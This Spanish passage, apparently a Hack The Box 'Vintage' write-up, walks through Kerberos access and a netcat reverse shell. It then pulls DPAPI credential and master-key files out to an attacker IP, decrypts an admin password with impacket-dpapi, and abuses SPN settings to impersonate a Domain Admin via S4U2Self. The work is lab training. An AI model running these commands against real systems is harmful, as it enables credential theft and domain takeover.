                krb5_conf_file: str = '/etc/krb5.conf', backup_file='/etc/backup_krb5.conf'):
    # Show the text that will be written
    print(f"[+] The following data/text will be OVERWRITTEN at {krb5_conf_file!r}:\n{data_to_write}")
    # Ask the user before proceeding
    if not (ask_user("Would you like to continue?")):
        sys.exit(1)
    # Createa backup
    copy_file(krb5_conf_file, backup_file)
    # Write the file
    try:
        with open(krb5_conf_file, "w") as f:
            f.write(data_to_write)
        print(f"[+] {krb5_conf_file!r} has been configured")
    except Exception as e:
        print(f"[!] Error writing to {krb5_conf_file!r}: {e}")
        sys.exit(1)
    print(f"[+] Finally, after exporting your Kerberos ticket, to execute evil-winrm with Kerberos just run:\n    evil-winrm -i {args.dc.lower()} -r {args.domain.upper()}")
    return


def main():
    """
    MAIN
    """
    # Get user arguments
    args: argparse.Namespace = get_user_arguments()
    # Since this script needs "root" permissions, check if it is being executed with these permissions
    check_being_exec_as_root()
    # Create the data that will be writen into config file
    krb5_file_data = create_config_file(args.domain, args.dc)
    # Create a backup and modify original krb5 config file
    modify_file(args, krb5_file_data)

        
if __name__ == "__main__":
    main()

Lo ejecutamos (requiere privilegios dado que sobreescribiremos el archivo /etc/krb5.conf):

❯ sudo python3 evil-winrm_kerberos.py vintage.htb dc01

[+] The following data/text will be OVERWRITTEN at '/etc/krb5.conf':

[libdefaults]
        default_realm = VINTAGE.HTB
[realms]
         VINTAGE.HTB = {
                 kdc = dc01.vintage.htb
                 admin_server = dc01.vintage.htb
       }
[domain_realm]
          vintage.htb = VINTAGE.HTB
          .vintage.htb = VINTAGE.HTB

[?] Would you like to continue? [Y]es/[No]: y
[+] Backup created at '/etc/backup_krb5.conf'.
[+] '/etc/krb5.conf' has been configured
[+] Finally, to execute evil-winrm with Kerberos just run:
    evil-winrm -i dc01 -r VINTAGE.HTB

Si no queremos ejecutar este script, simplemente podemos copiar el output mostrado en el script y lo pasamos a nuestro archivo /etc/krb5.conf. Pero siempre recordando primero crear un respaldo para todo.

Una vez hecho, revisamos si podemos usar evil-winrm usando el ticket del usuario C.Neri:

❯ KRB5CCNAME=C.Neri.ccache evil-winrm -i dc01 -r VINTAGE.HTB

Evil-WinRM shell v3.6

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\C.Neri\Documents> whoami

vintage\c.neri

Podemos leer la flag de usuario en el Desktop de C.Neri.


NT Authority/System - Administrator Link to heading

Algunas veces, luego de un tiempo usando la consola con evil-winrm obtengo el mensaje:

malloc(): unaligned fastbin chunk detected
[1]    234799 IOT instruction  KRB5CCNAME=C.Neri.ccache evil-winrm -i dc01 -r VINTAGE.HTB

Es por ello que decidí subir un binario de netcat y enviarme una reverse shell con aquel binario. Ahora, incluso si la conexión con la consola de evil-winrm muere, podemos seguir trabajando en una terminal.

Este usuario no presenta privilegios importantes:

PS C:\Users\C.Neri\Documents> whoami /priv

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Luego de enumerar, vemos que podemos abusar de Data Protection API (DPAPI). Ello lo sabemos puesto que hay un directorio oculto:

PS C:\Users\C.Neri\Documents> Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\

Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\


    Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   5:08 PM            430 C4BB96844A5C9DD45D5B6A9859252BA6

Podemos ver un archivo credencial.

Si subimos mimikatz a la máquina víctima para abusar de DPAPI, éste nos retorna un error:

PS C:\Users\C.Neri\Documents> .\mimikatz.exe

.\mimikatz.exe
Program 'mimikatz.exe' failed to run: Operation did not complete successfully because the file contains a virus or
potentially unwanted softwareAt line:1 char:1
+ .\mimikatz.exe
+ ~~~~~~~~~~.
At line:1 char:1
+ .\mimikatz.exe
+ ~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed

m̀imikatz es bloqueado por Windows Defender. Dado que no somos usuarios privilegiados, no hay manera de deshabilitar el antivirus y, por ende, debemos de proseguir “manualmente” obteniendo alguna información.

Para pasar archivos desde la máquina víctima a nuestra máquina de atacantes, es que en mi caso utilizo el binario de netcat que previamente había utilizado para mandarme una reverse shell (puesto que, recordar, a veces la consola con evil-winrm se moría porque sí). En nuestra máquina víctima, empezamos un listener con netcat y guardamos todo lo recibido en un archivo:

❯ nc -lvnp 4444 > C4BB96844A5C9DD45D5B6A9859252BA6

listening on [any] 4444 ...

y pasamos el archivo usando una CMD junto con netcat:

PS C:\Users\C.Neri\Documents> cmd.exe /c 'C:\Users\C.Neri\Documents\nc.exe 10.10.16.3 4444 < C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\C4BB96844A5C9DD45D5B6A9859252BA6'

cmd.exe /c 'C:\Users\C.Neri\Documents\nc.exe 10.10.16.3 4444 < C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\C4BB96844A5C9DD45D5B6A9859252BA6'

Luego de algunos segundos, presionamos Ctrl+C en neustra máquina de atacantes y el archivo debería de haber sido transferido exitosamente.

Paso siguiente, deberíamos de obtener algunas “master keys” basados en HackTricks. Para ello necesitamos nuestra SID de usuario, que es fácilmente obtenible ejecutando:

PS C:\Users\C.Neri\Documents> whoami /user

whoami /user

USER INFORMATION
----------------

User Name      SID
============== ==============================================
vintage\c.neri S-1-5-21-4024337825-2033394866-2055507597-1115

Luego, debemos de ejecutar en una sesión con PowerShell:

Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}

o en este caso en específico:

PS C:\Users\C.Neri\Documents> Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115

Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115


    Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   1:17 PM            740 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
-a-hs-          6/7/2024   1:17 PM            740 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
-a-hs-          6/7/2024   1:17 PM            904 BK-VINTAGE
-a-hs-          6/7/2024   1:17 PM             24 Preferred

Tenemos 2 Master keys:

4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
99cf41a3-a552-4cf7-a8d7-aca2d6f7339b

Dado que mimikatz no funcionó, podemos usar dpapi.py de Impacket junto con el SID, su contraseña y las “master keys”. Estas “master keys” son archivos, por lo que necesitamos pasarlas a nuestra máquina de atacantes primero. Pasamos las “master keys” de una manera similar a como pasamos el archivo conteniendo las credenciales (usando netcat). En nuestra máquina de atacantes ejecutamos:

❯ nc -lvnp 4444 > 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b

listening on [any] 4444 ...

Y en la máquina víctima pasamos las “master keys” (en este caso pasamos una a una) usando netcat y una CMD:

PS C:\Users\C.Neri\Documents> cmd.exe /c '.\nc.exe 10.10.16.3 4444 < C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b'

cmd.exe /c '.\nc.exe 10.10.16.3 4444 < C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b'

Luego, extraemos la key contenida usando la masterkey, el SID del usuario y la contraseña de este usuario en local usando impacket-dpapi:

❯ impacket-dpapi masterkey -f 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid 'S-1-5-21-4024337825-2033394866-2055507597-1115' -password 'Zer0the0ne'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a

Esto genera una key desencriptada. Usamos aquella key desencriptada para obtener todo el contenido en el archivo que contenía credenciales (el primero que descargamos):

❯ impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key '0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=admin_acc
Description :
Unknown     :
Username    : vintage\c.neri_adm
Unknown     : Uncr4ck4bl3P4ssW0rd0312

Obtenemos así una contraseña para el usuario c.neri_adm: Uncr4ck4bl3P4ssW0rd0312.

Buscando qué es lo que puede realizar este nuevo usuario en Bloodhound muestra:

Vintage 7

Este usuario tiene los permisos AddSelf y GenericWrite sobre el grupo DelegatedAdmins.

Revisando qué es lo que puede realizar el grupo DelegatedAdmins no vemos mucho. No obstante, este grupo tiene 2 miembros:

Vintage 8

Nota
Aunque el grupo DelegatedAdmins no muestre nada en Bloodhound, esto puede deberse a una falta de permisos a la hora de mapear con bloodhound-python. Es decir, dado que mapeamos el dominio como el usuario P.Rosa con bloodhound-python (el cual no era un usuario privilegiado), si hay algunas políticas aplicándose al entorno Active Directory, puede ser que este mapeo en realidad no muestre todos los reales permisos del grupo DelegatedAdmins. ¿Cómo podemos solucionar esto? Volviendo a correr bloodhound-python, pero esta vez como un usuario con más privilegios o acceso al grupo que nos interesa. Dejo como tarea al lector ejecutar bloodhound-python como el usuario c.neri_adm y comparar 😜.

El usuario L.Bianchi también es parte del grupo Domain Admins:

Vintage 9

Como ya es usual en este punto, solicitamos un TGT para este nuevo usuario:

❯ impacket-getTGT vintage.htb/'C.Neri_adm':'Uncr4ck4bl3P4ssW0rd0312' -dc-ip 10.10.11.45

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in C.Neri_adm.ccache

❯ KRB5CCNAME=C.Neri_adm.ccache nxc smb dc01.vintage.htb -k --use-kcache

SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\C.Neri_adm from ccache

El nombre del grupo DelegatedAdmins nos da una pista de cómo explotar y abusar de éste: Quizás, podemos performar un ataque Constrained Delegation sobre una cuenta que tenga de atributo servicePrincipalName, o SPN, (como se muestra aquí) y usar aquella cuenta para solicitar un ticket impersonando a otro usuario (ojalá priviliado) en el dominio.

Como vimos, el usuario C.Neri_adm tiene permisos GenericWrite sobre el grupo DelegatedAdmins. Por ende, podríamos tratar de agregar una cuenta cuya contraseña y/o hash NT conocemos, la cual tiene un atributo SPN (como una cuenta de servicio), como svc_sql en este grupo (o también podríamos usar la cuenta FS01$, tambén sirve). Para ello podemos usar bloodyAD y el ticket de C.Neri_adm:

❯ KRB5CCNAME=C.Neri_adm.ccache bloodyAD --host dc01.vintage.htb -d vintage.htb -k add groupMember 'DelegatedAdmins' 'svc_sql'

[+] svc_sql added to DelegatedAdmins

Así, cambiamos el serverPrincipalName (SPN) de este usuario. Para esto usams el ticket de C.Neri (no el ticket de C.Neri_adm). ¿Por qué? Puesto que, recordar C.Neri, pertenece al grupo ServiceManagers, tiene permisos GenericAll sobre svc_sql y, por tanto, tiene control total sobre esta cuenta; lo que le permite cambiar su atributo servicePrincipalName. Cambiamos así este atributo a cifs/cualquiercosa (o SMB) usando, nuevamente, bloodyAD:

❯ KRB5CCNAME=C.Neri.ccache bloodyAD --host dc01.vintage.htb -d vintage.htb -k set object "svc_sql" servicePrincipalName  -v "cifs/anything"

[+] svc_sql's servicePrincipalName has been updated

Solicitamos eun ticket para svc_sql con su SPN “actualizado”:

❯ impacket-getTGT vintage.htb/'svc_sql':'Zer0the0ne' -dc-ip 10.10.11.45

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in svc_sql.ccache

Y ahora que svc_sql pertenece tanto al grupo DelegatedAdmins como con su SPN manipulado, podemos usar esta cuenta para performar un S4U2Self, solicitando un Service Ticket (ST), en nombre de otro usuario y así impersonarlo. Por ello, y finalmente, solicitamos un ticket para impersonar al usuario L.Bianchi_adm usando getST.py de Impacket:

❯ KRB5CCNAME=./svc_sql.ccache impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate 'L.Bianchi_adm' -dc-ip dc01.vintage.htb -k vintage.htb/'svc_sql':'Zer0the0ne'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Impersonating L.Bianchi_adm
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in L.Bianchi_adm@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache

Con este ticket para el usuario L.Bianchi_adm en mano, usamos wmiexec.py de Impacket para entrar en la máquina víctima:

❯ KRB5CCNAME=L.Bianchi_adm@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache impacket-wmiexec -k -no-pass 'L.Bianchi_adm'@dc01.vintage.htb -dc-ip dc01.vintage.htb

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami

vintage\l.bianchi_adm

Dado que este usuario es miembro del grupo Domain Admins, podemos leer la flag de root en el Desktop del usuario Administrator.

~Happy Hacking.